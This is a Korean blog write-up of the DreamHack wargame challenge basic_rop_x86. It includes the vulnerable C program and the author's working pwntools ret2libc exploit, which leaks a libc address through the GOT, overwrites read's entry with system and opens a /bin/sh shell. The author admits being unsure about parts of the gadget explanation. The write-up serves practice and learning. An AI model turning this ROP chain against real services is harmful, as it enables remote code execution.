Pwnable/DreamHack Wargame
[Dreamhack] basic_rop_x86 풀이
kaymin
2022. 7. 12. 23:08
교훈: 32비트 체제에서 exploit 코드짤때 함수 호출시 인자 전달은,
함수의 주소
인자 개수만큼 pop하는 리턴가젯 (어떤 레지스터에 pop하는지는 상관없는듯..아마)
함수의 인자
사실 정확한 이유는 아직 모르겠다.....
교훈2: 위의 32비트 체제에서 인자 전달하는 방법에서, 인자를 역순이 아니라 순서대로!! 넣는거다
인자1
인자2
인자 3
..
이렇게
문제 c코드:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
~
성공한 내 코드:
from pwn import *
p=remote('host3.dreamhack.games', 22500)
context.arch='i386'
e=ELF('./basic_rop_x86')
libc=ELF('./libc.so.6')
read_plt=e.plt['read']
read_got=e.got['read']
puts_plt=e.plt['puts']
write_plt=e.plt['write']
read_system=libc.symbols["read"]-libc.symbols["system"]
pop=0x080483d9 #pop reg <- that reg is not important...just pop mabye
pop_pop_pop=0x08048689 #this too..mabye
payload=b'A'*(0x44+4) #buf+dummy+sfp
#payload+=p32(write_plt)+p32(pop_pop_pop)+p32(0)+p32(read_got)+p32(4) # print!
payload+=p32(puts_plt)+p32(pop)+p32(read_got)
payload+=p32(read_plt)+p32(pop_pop_pop)+p32(0)+p32(read_got)+p32(0x40) # overwrite!
payload+=p32(read_plt)+p32(pop)
payload+=p32(read_got+4)
p.send(payload)
p.recv(0x40)
system=u32(p.recvn(4))-read_system
p.send(p32(system)+b'/bin/sh\x00')
p.interactive()